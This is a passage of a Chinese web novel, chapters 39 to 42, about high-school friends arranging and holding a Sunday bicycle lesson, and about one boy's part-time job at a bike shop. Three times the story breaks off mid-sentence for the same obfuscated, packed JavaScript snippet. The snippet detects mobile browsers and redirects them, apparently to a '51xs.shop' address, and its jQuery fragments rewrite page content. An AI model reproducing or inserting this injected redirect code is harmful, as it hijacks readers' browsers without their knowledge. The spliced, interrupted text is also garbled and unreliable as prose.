走廊处学生们一副魂游天外的神情,看天看地就是不看桃园三结义的三个主人公,他们生怕自己一不小心爆笑出声。 39. 第 39 章 - 校道的地面上微微湿润,枯黄的叶子随着凉风卷起又落下。 陈恕、许兰亭分别推着自行车,张期期手挽着林听的手,她的眉心微皱,“兰亭,你觉不觉得刚才向川好像有点儿奇怪,不太想搭理我们一样,难道是他心情不好?” 许兰亭闻声,眼里闪过疑惑,他思考了一下,“没有吧,哪里奇怪……虽然说他非要按流程办事有些多余,但也不是什么大事啊。” 张期期低声自言自语般,“我还是觉得不对。” ……向川是认识陈恕的,可刚刚为什么非要陈恕拿学生证,林听就算了,他确实不认识。 想到这里,她又想起上一个她生病放了陈恕鸽子,又嘱咐向川要是在金河湾广场看见陈恕的话,帮她解释一声,但……向川说他没有看见陈恕…… 一个呼之欲出的答案出现在她的脑海里,张期期侧首望向陈恕,道:“难道……陈恕,你和向川之间是不对付吗?” 许兰亭闻言一愣,惊讶看向陈恕,“不是?你们有交集吗你们,这就不对付了?” 陈恕皱起眉头,他抿了抿唇后道,“没有不对付,我只知道他叫陆向川而已,本来就不熟,对方冷淡点也是正常。” ……这正常吗?这不正常的,好吧?张期期心里偷偷笑道,不是所有人都像你这样的? 一旁听了全程交谈的林听微微垂下眼帘,没有交集……怎么没有交集?她身旁言笑晏晏的张期期就是陈恕和陆向川之间的交集。 这个话题倒也就此揭过,转而谈论起来上周“学自行车”的事。 许兰亭、张期期再一次约了陈恕,让他教他们骑自行车。 张期期拿起手机,打开“天气APP”软件,提前看了这周周末的天气预报,“我看了这周日是阴天,不下雨。要不,就周日吧?陈恕……你有时间吗?” 陈恕攥紧自行车的把手,随后道:“还是周日上午十点吗?” 张期期看了许兰亭一眼,后者点点头,十点是他能起床的时间。 于是,张期期道:“对,还是周日上午十点。” 陈恕点头,“好。” 张期期、许兰亭闻言,两人默契地击打了下掌。 许兰亭悄悄给张期期使眼色,张期期瞬间心领神会,她摇了摇林听的手臂,“林听,你呢?周日你要上班吗?不用的话,一起来呗。” 她眼眸一转,又道,“我们要是学得快的话,还有约着一起刷题啊!” ……周日还约着一起刷题?许兰亭简直目瞪口呆,不是吧? 林听笑出声,“好,我这周六有兼职,周日没有。到时候我背书包去,我有几道数学题不是很懂,你到时候教教我。” 张期期笑,“好!” 约林听屡屡被拒的许兰亭:……这也行?那……下次他不约她看电影、滑冰了,改成约着一起学习! 正说着,他们几人走到了校门口,张期期、许兰亭家的司机站在一起聊着天。 “期期……这边。”李叔喊了一声。 “兰亭——” 张期期、许兰亭看向陈恕、林听,张期期笑道:“那我先走了,你们俩回家的路上注意安全。” 陈恕、林听都点了点头,“嗯。” 一旁的许兰亭神色忐忑,“林听,要不……”……要不,你做我家的车,我们送你回家? 林听神色淡淡地笑了笑,“新到手的自行车,我正想骑一骑,熟悉一下呢,我就先走了。再见。” 她说走就走,许兰亭连反应的时间都没有,见状,许兰亭顿时萎靡不振一般,随口道了声再见后就蹿到了车上,“走了。” * 张家、许家的汽车消失在陈恕的眼前,他攥着自行车的手把,骑上车往山地车专卖店而去。 日暮西沉,天色灰暗。 山地车专卖店内灯火通亮,店老板坐在前台的位置上刷着小视频看。 陈恕将自行车停好,走进店内,“老板……” 老板闻言抬头,惊讶问,“陈恕?你怎么来了?” 他说着,低头看了一下排班表,“今天不是你的班啊!” 陈恕抿了抿唇,“老板,我想换一下班。” 山地车专卖店在周六周日的时候,是实行两班倒的制度,早班是早上八点到下午三点,晚班是下午三点到晚上十一点。 陈恕这周末原本的排班是周六晚班,周日早班。 “我想周日和早班的人换一下,我晚班,对方早班。” 店老板闻言,眉头一皱,“那你就要连续两天上晚班了……”晚班的工作时间比早班长了一个小时,但工资却是一样的。 “嗯,没关系。”陈恕道。 店老板皱着眉头盯着他看了一会儿,眼神中透露出烦躁和麻烦,但他到底还是道:“行了行了……我知道了,会给你调班的。” 店老板如此好说话,陈恕呆了一瞬,他无措道:“不先问问对方的意见吗?” 店老板挥挥手,“他肯定同意的,少上了一个小时的班,上完早班,晚上还能出去浪,人家又不是学生。” 陈恕抿着唇点了点头,“那……谢谢老板。” 他眼神中带着歉意,随后转身出门骑着单车离开了…… 这时,山地车专卖店后仓内走出一名仿佛正忙忙碌碌着的青年人,店老板睨了对方一眼,通知道:“王仁,换班了……这周日你晚班换成早班了。” 王仁一听,那上完早班,他晚点就可以出去玩了,而且他还比原先少上了一个小时,这到底是哪个傻子和他换班了! 王仁心中虽然这么想着,但还是假装为难道,“老板……我周日早上有事啊!”他想试探着能不能让店老板给他一点突然换班的补偿。 店老板哪里能不知道他的想法,他冷哼一声,“不换啊,那不换就算了。” 王仁神色瞬间焦急,连忙道:“换换换!老板,我把周日的事往后挪一挪也行。” 店老板冷淡地“嗯”了一声,继续低头刷手机,王仁见状,讪讪地走开,继续假装忙活着手上的事情。 店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008818|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板偷偷扫了一眼,心中摇摇头,店里后仓也是有监控的,只不过王仁见他经常刷着手机小视频,以为他不怎么看监控,所以经常明目张胆地在后仓带薪摸鱼。但这世界上哪里有老板是不看监控视频的呢? 店老板的目光望向门外的街道,天气灰暗,路灯早早地亮了起来。 陈恕这小子虽然冷淡、八棍子打不出一个屁来,但却实实在在,他就没见他带薪摸鱼过,每次都是踏踏实实地做事。 ……不知道以后他毕业了,能不能雇他来这里上全天班呢? 店老板想着想着突然笑了出来,他问过陈恕,他是重点一班的学生,京照一中重点一班的学生以后大学毕业了给他打工?他想得属实太美了! 这小子啊……以后的路宽着呢! * 雨季的夜晚,天色总是浓稠暗沉的,城中村之间楼与楼的距离狭窄,路灯的灯光总是被局限在小小的巷口里。 陈恕从阳台望出去,便能看到对面楼房内隐隐约约走动的人影,楼间距离太近,人与人之间有时候甚至没能有很好的隐私空间。 他刷地一下将阳台上的帘子拉上,继续煮着清汤寡水的面条。出租房内没有冰箱,所以他连鸡蛋都没有,只有耐储存的菜干加在面汤里。 陈恕将小电磁炉的开关按掉,从消毒柜中拿出碗筷,将面汤盛到碗筷中。他照例端着碗坐在矮小的凳子上吃着。 出租房虽然小,但“五脏俱全”;他虽然穷,但十分爱干净,不愿意将食物的味道沾染在房间内。 陈恕吃完面汤之后,将碗筷洗干净,又进了卫生间洗漱,等他坐在房间内的书桌前时已经是晚上七点多了…… ……明天周六是晚班,下午三点才上班,而周日他上午与期期有约,下午还要赶去上晚班,这也就意味着他周末的作业最好在今天晚上到明天下午上晚班之前完成。 陈恕抿了抿唇,从书包中抽出一打试卷来,不多不少,真的是一打试卷,十二张,每科目两张试卷。 …… 正常的时候,出租屋内灯光明亮刺眼,但因城中村人口密集,电路又有些老化,所以屋内的灯光偶尔会一段时间一段时间地灰暗,闪烁。 这时,电路又一次不稳,屋内的光线大幅度地灰暗下来,出租屋内变得暗沉,却又带着灰蒙蒙的光亮,坐在桌前的陈恕不自觉地攥住手中的黑色水笔。 他的心脏砰砰跳动着,视线在出租屋内不停地转移着。 突然,他的目光一滞,定在房间小鞋柜附近的那辆自行车上,城中村的治安不是很好,这辆自行车这么崭新,他要是放在楼下,都不用等到明天,半夜就得给别人偷走。 陈恕的注意力被转移了,所以内心的恐慌也在那一瞬间消散了…… 自行车……这是他今天得到的奖品,陈恕不由地想起在学校走廊时,她看着他的照片却差点滑倒的事情,还有那声他现在想到却依旧浑身僵硬的“夫妻对拜”。 许兰亭这家伙,有时候真是口无遮拦。羞燥恼怒的陈恕不由得迁怒起许兰亭来…… 40. 第 40 章 - 周日,果然是个阴天,天色灰蒙蒙的,但好在并没有下雨。 上午九点钟,张期期床头的闹钟响了后,她将手伸出被窝,摸着按掉了闹钟,随即迅速起身往卫生间去。 洗漱完后,张期期站在衣帽间前沉思着……她今天要穿什么? 少年的身影此刻浮现在她的脑海里,张期期猛地双手捂住脸,一副苦恼的样子,嘴角却疯狂地上扬。 怎么办啊!! 穿裙子……她默默放下手,紧紧抿住唇,“严肃”地看着衣帽间内各式各样、各种长度、各种颜色的裙子。 张期期:……不好吧?穿裙子好像有点太刻意了,而且她是去学自行车啊,穿什么裙子! 穿牛仔裤……既不刻意,也挺方便的? 张期期:……好像有点太普通了? 窗外的天色晦涩难明,但此时少女的心情却仿佛五彩绚烂的梦幻泡泡一样,甜蜜明媚。 最终,张期期选了一条卡其色的背带阔腿裤,上衣则是咖色的小熊卫衣,她顺道还给自己扎了个丸子头,搭上同款的小熊发卡。 少女喜滋滋地看着镜子前的人,又塞了一条裸粉色的口红放在包包里,随后下楼去吃早饭了。 - 张期期一下楼便看见张世明、戚和风坐在客厅的沙发上,两人正喝着茶说着话,她一下来,他们便截住话题,将目光放到她身上来。 戚和风打量了一眼她的装扮,笑着道,“期期今天穿得很可爱,真好看啊。” 张期期闻言,嘴角上扬,“爸你觉得呢?” 张世明笑了笑,“漂亮。” 见父母俩人都说好看,张期期眼眸中笑意韵浓…… 莲姨闻声从厨房出来,“期期啊,你的早餐好了,先生太太已经吃完了,你现在吃吗?” 张期期笑,“莲姨,我现在吃。” 她坐在饭桌上一边吃着早餐,一边和许兰亭在手机上聊天,催促对方尽快点。 张期期并没有看见客厅父母之间的眉眼官司,张世明使了使眼色让戚和风问问女儿和谁有约,准备去哪里玩,但戚和风皱起眉头,偏就一声不吭。 约莫十分钟后,张期期吃完早餐,张世明见妻子怎么都不问,便预自己开口询问一下,他刚开口,“期期啊……” 恰在此时,张期期的手机震动了一下,是许兰亭说他已经在外面等她了。 于是,张期期立刻起身,拿了张纸巾擦了擦嘴巴,“爸妈,我和朋友有约,我出门了。”说着,她快步跑出了家门,连身后张世明的呼唤声都没有听见。 张世明无奈地叹了一口气,“和风,你怎么就不问问呢?你们是母女,这种事情最好说了。” 戚和风脸上带着无懈可击的笑容,“期期还小呢,你担心什么啊!” * 许兰亭家的汽车就停在她家院门口不远处,而上次俩人在山地车专卖店买的自行车就装在后备箱里,导致后备箱只能虚虚地掩上。 张期期拉开车门,坐上了副驾驶的位置,她笑着对一旁的司机点点头,“叔叔……” 司机大叔也是认识张期期的,他笑着嘱咐了一声,“安全带系上。” 张期期从顺如流地系上了安全带,坐在后排的许兰亭皱眉:“你怎么坐到前面去了?” 张期期闻声头也不回道:“我要涂一下口红。”她将副驾驶座位处的挡板掰下来,上面有一个小小的镜子。 张期期小心翼翼、薄薄地涂了一层,她满意地笑了笑,陈恕应该是看不出来的,他大概只会以为她气色好! 将口红收起,张期期随意扫了一眼后视镜,顿时瞪大了眼睛。 她猛然回头看着坐在后排的许兰亭,噗呲一声大笑出来,“哈哈哈,不是……你这是干什么啊,准备去参加晚宴?” 后排的许兰亭穿着黑色的西装外套,西装马甲,西装裤,甚至还打着藏蓝色的领带。 她笑得直不起腰来,还探着头伸过去看了一眼他的鞋子,好家伙,皮鞋! 许兰亭神色一下子局促起来,他扯了扯自己的领带,看着狂笑不止的张期期,顿时恼羞成怒,“别笑了别笑了……你还不是,你刚刚还涂口红了。” 张期期笑着摆摆手,努力平复着心情,她深吸了口气,“我是涂口红了,但你要是没看见的话,肯定看不出来。你不能这么刻意啊,会显得很LOW的,你看我,明明是刻意收拾的,但不经意间透露出我奔来就是这样子的,只不过在学校穿着校服而已。” 许兰亭:……高!还是你手段高明! 他低头看了看自己身上的穿着,“那怎么办?不然我还是回去再换一套吧。”他就要吩咐司机返程。 张期期拦住了他,“你看看时间,要是回去的话,估计就要迟到了,第一次约,我们不能迟到。” 许兰亭着急道:“那怎么办?” “也不是没有办法,这样……”张期期托着下巴,一边沉思状,打量着他,一边道:“……你把西装外套、马甲脱下来,领带也解下来,你里面穿的是白色衬衫吧?” 许兰亭忙不迭地开始脱外套、脱马甲,“对,我里面穿的是白衬衫。” “那就行!白衬衫和我们的校服差不了多少,对了,你这鞋……也不行,谁学骑单车穿皮鞋的啊?”张期期道。 这时,前方的司机突然插嘴道,“我记得后备箱有一双兰亭的运动鞋,老板上次给你买的,你忘记拿了。” ……自行车是他搬到后备箱的,所以他刚才就看见了。 许兰亭啊了一声,“是吗?我忘记了……”他想了想,也是他哥经常给他买这买那的,他哥自己有时候都忘记了。 这么想着,他半躬着身子探手摸到了一个袋子,拉到后排座位处,打开袋子、盒子,还真是一双运动鞋。 张期期也看到了,她笑道,“快换掉你的皮鞋。” 许兰亭换上白黑相间的运动鞋,心底稍稍松了一口气,“这样还行吗?” 张期期打量了一眼,“还行,看得出来认真收拾了,但又没有那么刻意。对了,趁现在还有时间把你西装裤上熨烫出来的裤线揉一揉,不然还是很出戏啊。” 早上起来将整套西装熨烫了一边的许兰亭:…… * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026294|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金河湾广场。上午九点五十三分。 许是天气的原因,往常这个时候早就趋显热闹的广场此刻却人烟稀少,只有七八名练太极拳的老爷子还在慢悠悠地比划着。 广场外围的商铺,奶茶店、小吃店等等都至少需要十点钟之后才有员工开店。 广场上是不允许汽车开上去的,所以张期期、许兰亭在附近下了车,许兰亭推着单车走着,张期期跟在一旁。 许兰亭低头看了一眼自己的西装裤,“好像中间那条裤线没那么明显了,是吧?” 张期期看了看点头,“还行。” 许兰亭:……你除了会说还行,还会说什么! 俩人走到广场上,张期期远远望过去,广场上人烟稀少,少年挺拔的身姿映在她的眼底,他的身旁停放着那辆自行车。 张期期丢下许兰亭,小跑着过去,她停在他身后约莫十米的地方小幅度喘气,正欲开口喊他。 恰在此时,少年似有所觉、徐徐转过身来,带着湿润气息的凉风微微吹起少年校服的衬衫下摆,“你来了…” “嗯。”张期期不知道为什么,这一刻就是想用力地点头。 陈恕嘴角勾起轻微的笑意,眼神罕见地温和下来。 张期期攥了攥包包的带子,走过去,“你来多久了,会不会等太久了?” 陈恕摇了摇头,“我刚到。” 今日的她没有穿校服,而是穿着平日里的衣服,那是他从未见过的样子,好像跳出了学校的框子,他重新认识了她似的。 他微微低头,看见了她头顶别着的深色小熊发卡,发卡上小熊瞪着圆溜溜的大眼睛,和此刻抬头看他的少女有着异曲同工之妙。 这么想着,他眼底荡漾着一圈的笑意,张期期不妨有些呆愣地盯着看他。 四目相对,两两相望,陈恕在她的目光下,微微攥紧了了指尖。 “喂……张期期!你就不能等等我吗?”许兰亭推着自行车,根本走不快。此刻他站在他们不远处,气恼地大喊道。 突兀的一声大喊,张期期、陈恕纷纷下意识地收回眼神,广场上比划着太极拳的老爷子们不满地瞪了他们几眼。 她对许兰亭的怒喊充耳不闻,少女低着头,悄悄摸了摸自己发烫的耳朵。 许兰亭见状,推着自行车过来,他张嘴欲喊,却猝不及防地对上陈恕冰冷灰暗的眼神。 他的脚步顿时一滞,身后传来自行车车轮滚动的声音,他下意识地转身望过去,是……林听。 “不好意思,我来晚了。”林听气喘吁吁道,可以看出来她刚才一定是一路飞快地踩着自行车过来的。 许兰亭顿时将陈恕那一闪而过的奇怪眼神抛却在脑后,他眼神中带着期待,“不晚不晚,我们也是才刚刚到的。” 林听笑着点点头,将自行车停好,她锊了锊凌乱的发丝,笑着道:“那就好。” 四人成功会面,在场的就张期期、许兰亭两人不会骑自行车,林听看着三辆自行车,道:“那我们现在就在这里学?” 上午安静的广场确实是学骑自行车的好地方,问题是现下如何分配谁教谁? 41. 第 41 章 - 关于谁教谁学骑自行车,这是个好问题。 在这个问题上,陈恕和张期期算是双向奔赴了,但很显然,林听也想教期期,并不太愿意和许兰亭一起。然而许兰亭眼巴巴的样子逗笑了在场的其他人。 林听微微笑了笑,像是下了决心一样,突然道,“那陈恕你教期期吧,我教他。” 他,自然是指许兰亭,一旁的许兰亭一听,眼眸中恍若开出了绚烂的烟花。 陈恕点头,“嗯”了一声,张期期也笑着偷偷用手肘撞了撞许兰亭,她低声道,“好好学。” 四人分成两组,男女搭配,学车不累。 * 陈恕早上骑着单车过来之前,就已经把自行车的座位调低了,调到张期期坐在上面时,双脚都能踩在地面上。 张期期一跨坐在位置上时立刻就发现这一点了,她顿了顿,低头看着陈恕那双长腿,神色复杂。 ……这个座位的高度换上陈恕来骑,对方的双腿简直无处安放,刚才他就是这么憋憋屈屈地骑着自行车过来的? 这么想着,她神色复杂的同时还觉得那个画面一定会很搞笑,于是张期期噗呲一声笑了出来。 陈恕垂头,无奈地看着她,都不需要她开口,他就能从她脸上猜测到她在脑补什么画面了…… 少年大掌张开,压了压她的头顶,低声道:“别胡思乱想了……我扶着鞍座,帮你控制平衡,你往前踩就好。” 张期期试探着缩起腿,踩在两个脚踏板上,只是她的脚一缩,车头顿时就歪了。 然而陈恕的右手依旧扶着鞍座,左手迅速扶助歪掉的车头,身体往前一靠,让张期期歪着靠在他的胸前。 张期期愣了下,抬眸,看向近在咫尺,垂眸望着她的少年,少年精致的下巴似乎突然绷紧,喉结莫名动了动。 陈恕瞬间别过了脸,但少女靠在他的身前,呆愣的眼神、湿润又带着粉意的唇微微张着的这一幕似乎生生焊在了他的脑海中。 张期期无措道,“这……我保持不了平衡啊,接下来我、我怎么骑?就这么靠、靠着你,歪着骑吗?” 陈恕抿了抿唇,手足无措,“你先把腿放下来,稳住自行车。”……别、别这么一直靠着我,我…… 张期期一顿,哦,对,她全身的重量压在自行车上,自行车又歪着,陈恕扶着,所以……她现在就是靠陈恕支撑着才没有摔到。 她连忙放下腿,踩在地上,将自行车的车头扶正。 陈恕见她站稳了,这才收回双手,他思考了片刻,道,“你车头和鞍座我都给你扶稳,我一边走一边带着车轮往前,你把脚踩在脚踏板上但不要踩,先坐上面体会一下是什么感觉,等你习惯了,我们再试试踩着骑。” 张期期诺诺点头,“好。” 少年臂力惊人,稳稳地扶住坐在自行车上的少女,他一圈又一圈地带着对方在广场上转悠着,灰蒙蒙的天色中,日头渐渐明朗,金红色的光芒韵浓在天际上。 - 另一边的许兰亭和林听正苦恼地望着陈恕、张期期,陈恕能够扶着张期期在广场上转悠,但……林听看了一眼眼前接近一米八的大个男生。 林听:…… 许兰亭摸了摸后脑勺,试探着问道,“要不,你骑着你的自行车,我照本宣科学着你的步骤骑?” 林听张了张嘴,片刻后只能点点头,“行,那你看我怎么骑的,我会把步骤一一拆解给你听的。” 他们没有注意到走过的路人露出匪夷所思(划掉)看傻叉的眼神。 林听坐上自行车,“先坐上来,两只脚踩在地上,保持平衡。” 许兰亭点头,跟着她的步骤做,自行车安安稳稳地立着,他眼神中透露出满意,“好了,这一步没问题。” 林听同样很满意,她继续道,“接下来是骑自行车的起势,左脚踩地,右脚踩在脚踏板上,这里脚踏板要勾起来,像我这样……” 她示意许兰亭看她的右脚,林听将脚踏板从最低点勾起,勾到最高点,“你看这样,等会儿右脚就可以直接用里踩下去……” 许兰亭:“好。”他认真地按照她说的步骤一步步做着。 林听看着,提醒道,“现在你全身的重心要稍微向左移一点。” 许兰亭再次点头,“好,可以了。” 林听表示非常满意,“接下来,也是最重要的一步,右脚用力踩脚踏板,让自行车往前移动起来,同时左脚迅速收回,踩在脚踏板上,然后身体保持平衡,双脚用力往前踩,这就成功了。” 许兰亭笑道,“就这样?” 林听肯定地点点头,“对。” 许是前两个步骤的顺利,让许兰亭这会儿信心膨胀,他眉眼扬起笑意,“林听,我一定是最快学会的。” 林听眼眸闪过一丝晦涩,他总是这么充满热情,哪怕是对着她的冷脸。 许兰亭话一说完,右脚用力往前一踩,同时左脚迅速收回,他脸上笑意绽放,然而下一秒他的笑容顿时一僵,收起的左脚根本没踩到脚踏板上,与此同时,他感觉得到车头不受他的控制了…… 林听瞪大双眼,她的自行车与许兰亭的自行车原本是排排停着的,许兰亭脚一踩,车子却只是往前移动了不到半米的距离。 她下意识探出身子,伸手欲扶住许兰亭倾倒的自行车。 许兰亭见状,心口猛然一悸,他平衡不了自行车,却硬生生地控制自己身体往右边倾倒,避开了左边林听探过来的身子,伸出来的手臂,他“砰”地一下子砸倒在地上。 - “许兰亭——”林听惊慌失措地喊道,她连忙停下自行车跑过去。 广场上不远处的陈恕、张期期也循声望过去,张期期神色紧张,双脚踩在地上,迅速下了自行车。 陈恕皱起眉头,将自行车停稳,跟在张期期的身后。 张期期、林听围在许兰亭的身旁,扶着他起来。 “我没事,别担心,就是摔了一下而已。”许兰亭笑着道。 陈恕看了一眼砸在地上的自行车,自行车的车头扭曲了方向,他眉头微微一皱,眼眸中闪过心疼。许兰亭这家伙没有控制摔下去的力量和角度,一砸就损伤了自行车…… 从地上起身的许兰亭笑着拍了拍身上蹭到的层土,他余光一扫,便看见陈恕心疼地看着他……旁边的自行车? 许兰亭:…… “不是,哥们,你亭哥我的身体比不上这辆自行车?”他说着,伸手欲压陈恕的肩膀。 陈恕往旁边一躲,让他的手臂落了空,他蹲下身子将地上的自行车扶起来,神色淡淡,“学骑自行车摔倒很正常的,摔着摔着就学会了。” 闻言,林听、许兰亭的头上仿佛无声地飞过一排乌鸦。 ……摔着摔着就学会了?那刚刚是谁!是谁小心翼翼地,跟护着眼珠子一样护着张期期的? 四人折腾到现在已经快十一点了,谁也没学会骑自行车,有道是“男女搭配,干活累赘”,张期期一琢磨,双手上下一击掌,“这样吧……林听教我,陈恕,你教兰亭。” 话语一落,林听、许兰亭纷纷啊了一声,陈恕抿了抿唇,三人盯着张期期看。 张期期一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042843|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锤定音,“就这么决定了!今天咱们必须学会骑自行车。” 见她眼神坚定,陈恕扯了扯嘴角,瞥了一眼许兰亭,推着他的自行车走到一边,“亭哥,还不过来……” 许兰亭:…… 他!!他!!他在阴阳怪气吗? 张期期推了他一把,“去吧你。” 林听看着他们,微微笑了笑,片刻后,她为难地看着期期,“期期,我教他都把他教摔倒了,你……” “那是他笨,其实我刚刚在那边听到你们的教学程序了,我觉得挺有道理的,步骤没错、重心没错,不大可能失误啊,那唯一的变量就是兰亭了,实验才是检验真理的唯一标准,来,我们试试!” 林听听得一愣一愣的,随后她恍然大悟,“是啊,我也觉得我步骤没错啊!” 两个女生一拍即合,林听再一次一步步拆解步骤,张期期边听着边提出注意事项,“嗯,这个左脚的收脚一定得跟上,否则我右脚踩下去了,左脚衔接不上来,就很容易摔倒了。” “是!刚刚他就是这样才失误的!”林听肯定地点点头。 张期期一摊双手,“我就说是他的问题了。” …… 林听全神贯注,“好,最后一步!” 她话音刚落,张期期右脚踩下,左脚顺势收起踩在踏板上,少女攥着车把把手,浑身僵硬,把自行车骑出了机械运转的感觉。 渐渐地,张期期找到了她自己坐在自行车上的掌控感。 几米外的许兰亭简直目瞪口呆,“这……这不科学啊?” 陈恕淡淡道,“哪里不科学?” 许兰亭一脸崩溃,“这要是科学了,那我刚刚怎么没学会!” 陈恕:……“那是你的问题。” 许兰亭眼睁睁地看着十几分钟后,张期期已经完全熟练地骑着自行车了,甚至还能一边和林听说着话,她们居然在谈论着“自行车运动时摩擦力方向与变速原理”?? 疯了疯了,到底是他疯了,还是这个世界疯了…… - 等张期期和林听终于讨论出一二三来,许兰亭还是一脸深受打击的模样。 陈恕看着熟练操控自行车的张期期,他猛然意识到一个问题,他在教她学自行车的时候,为了避免她摔倒受伤,是由他来控制自行车的重心和方向,但学自行车就是要骑行者自己掌控自行车。 他对她小心翼翼的保护反而是一种包袱,反而制约了她学会骑自行车的速度。 陈恕眼眸中闪过复杂的情绪,那天他学自行车学了很久很久,而她真的非常聪明,上天给她开了一扇门的同时,还把所有的窗户都打开了。 而他呢,原本就是一个极为普通的人,现在能成为高二年级的第一却是因为苦难给他凿开了一个洞。 少年低垂着头,眼底晦涩难懂。 张期期将自行车停稳,拍着自行车的鞍座再次确认道,“检验出结果了,就是许兰亭不行!” 林听若有所思地点头,眼眸中带着笑意。 还傻愣愣推着自行车的许兰亭顿时不干了,“怎么可能,肯定是男女差异的原因,你们的方法不适合我们男生。” “陈恕……陈恕?陈恕!”许兰亭气恼喊着,急需一个人来肯定他的话。 陈恕猛然回神,“嗯,是,她们的方法不适合你,你皮糙肉厚的,适合摔着摔着就学会了这种教学程序。” 张期期、林听噗呲一声笑了出来,张期期笑得身体微躬,“陈恕,你居然还会说冷笑话!” 许兰亭满脸无语:……终究是我错付了…… 42. 第 42 章 - 事实证明,陈恕说得没错,在几经摔打之下,许兰亭终于磕磕碰碰地学会了骑自行车。 当他骑着自行车绕回来的时候,张期期、陈恕、林听三人排排站着,仿佛在看一个年幼的小孩在蹒跚学步。 许兰亭:……感觉被冒犯了! 上午十一点半。 许兰亭按住刹车器,脚踩着地面,在他们三人面前停下来,“我觉得我可以了,我们……去吃饭吧,也差不多到点了。” 他转头看着四周,“这附近就是金河湾商都了,一楼二楼都是吃饭的地方,我们就近去那里怎么样?” ……金河湾商都? 林听微微垂了垂眼,她之前在金河湾商都兼职过,当然知道这一点,但金河湾一楼二楼的消费都是即便她和他们AA都无法承担得起的。 陈恕抿了抿唇,在这一刻同样意识到他们之间的差距。 委婉拒绝的话,林听、陈恕都欲开口。 这时,张期期拍了拍许兰亭的肩膀,一脸嫌弃道,“不去,不去!那边都是火锅,我昨天晚上刚洗的头发耶,吃火锅的话,我回去又得洗一次头,你是不知道,我们女生长头发洗一次头多麻烦啊。” 许兰亭:…… 他神色一言难尽,“我确实不能理解,那你说,去哪里吃?” 张期期眼珠子转了转,“要不,我们去学校附近吃吧,我想嗦粉!学校离这儿也不远,正好再次练习练习你的车技。” 许兰亭:“行……你都这么说了,我同意。” 张期期顿时笑了,她向陈恕、林听投去询问的眼神,二者纷纷点了点头,“好”。 ……学校附近的餐饮,因为受众是一中的学生,所以只比学校食堂贵了一点点,而这是他们能承受的价格。 陈恕眼帘微垂,余光扫过一旁言笑晏晏的少女,明明有时候神经大条,但在某些时刻,她却心思细腻,甚至连理由都揽在自己身上。 * 林听、许兰亭骑上他们的自行车,张期期自然而然地坐在陈恕的后座上,她伸出手揽住少年的腰身,浑然不考虑自己的这一行为给少年带来多大的震撼和无措。 陈恕抿了抿唇,低头看了一眼环绕着他腰身的少女的手臂,“张期期,你……” 张期期微微探出头,看着少年精致的侧脸,“我坐后面怕摔下来。” 陈恕:…… 见他眼神中闪过无可奈何,张期期心里偷偷地笑了。 此时处于当局者的两人并没有意识到他们中一个越来越“得寸进尺”,一个越来越“退无可退”。 四个人,三辆自行车,在自行车车道上骑出了龟速。 自行车车道旁便是人行道,一名中年妇女跟在一个四五岁的小男孩身后,小男孩骑着用两腿蹬的平衡车超过了龟速的三辆自行车。 中年妇女走过他们身边,对他们投去了难以理解的目光。 等他们渐渐离远,许兰亭才小声疑惑道:“我们……我们为什么要骑得这么慢啊,人家小孩子的平衡车都超过我们了……” 林听侧首,也很疑惑,“这不是因为你刚学会骑自行车吗?在广场骑和在路上骑是不一样的,广场上没什么人,这边路上时不时有车子,怕你来不及反应。” 陈恕:…… 他还真没想到这一点,此刻他脑海里浮现的是身后的少女方才说着的话,她怕坐在后面摔下来……他想,她大概是没有坐过自行车后座的。 许兰亭神色崩溃一般,“不带这样埋淘我的吧?”说着,他一个用力踩着自行车飞快地蹿出去了。 林听见状,连忙追上去,“不是!等等我们啊!” 张期期哈哈大笑,她喊道,“陈恕,快点,我们追上他们!我抱紧了,你放心,冲啊……” 陈恕嘴角带起笑容,加速踩着自行车,几分钟后他超过了最前方的许兰亭。 许兰亭将脚踏板踩出了幻影,他看着超过他的陈恕、林听,再一次目瞪口呆了,他大喊道:“这不科学!!” 张期期坐在后座哈哈大笑,“哪里不科学了,那是你的问题。” 少年少女们往前冲啊,撞入了青春的欢声笑语里。 * 学校门口的老鸭粉丝店前。 陈恕、许兰亭、林听三人扶着墙,气喘吁吁,一句话都说不出。 张期期笑着站在他们身前,挥斥方裘般地点了四份同样的招牌老鸭粉丝,她率先进了店内,将凳子一一拉出来,“来~三位请坐!” 许兰亭、陈恕、林听软着腿走进来,一屁股坐下了,他们骑到学校附近的时候才想起来,这是一条上坡路,坡度虽然缓,但它长啊! 店老板望了眼这几名腿打摆子的学生,一边忙碌着煮粉一边嘟嘟囔囔道:“这是被狗撵了吗?” 很快,四份老鸭粉丝上了,张期期连忙喝了一口汤,刚才她虽然没有出力气,但她给大家都加油了啊! 